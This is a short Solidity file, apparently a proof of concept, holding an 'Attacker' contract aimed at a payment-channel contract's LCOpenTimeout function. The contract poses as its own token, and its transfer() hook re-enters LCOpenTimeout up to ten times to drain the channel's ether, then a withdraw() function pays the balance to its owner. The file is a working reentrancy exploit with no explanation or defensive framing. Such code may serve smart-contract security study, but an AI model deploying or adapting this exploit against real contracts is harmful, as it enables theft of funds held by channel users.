pragma solidity ^0.4.23; contract MyChannel { function createChannel( bytes32 _lcID, address _partyI, uint256 _confirmTime, address _token, uint256[2] _balances ) public payable; function LCOpenTimeout(bytes32 _lcID) public; } contract Attacker { address owner; address target; bytes32 data = bytes32(0x46c2b5ea4e12cfd1346073daae08407f9679221cb16637a835a0b659d8da6226); uint8 callCount; constructor(address _target) public { target = _target; owner = msg.sender; callCount = 0; } function() public payable {} function createChannel() public payable { MyChannel(target).createChannel.value(msg.value)(data, address(this), 0, address(this), [uint256(msg.value), uint256(100)]); } function attack() public { MyChannel(target).LCOpenTimeout(data); } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool){ return true; } function transfer(address _to, uint256 _amount) public returns (bool){ if(callCount < 10) { callCount += 1; MyChannel(target).LCOpenTimeout(data); } return true; } function withdraw() public { require(msg.sender == owner); owner.transfer(address(this).balance); } }
0.4.23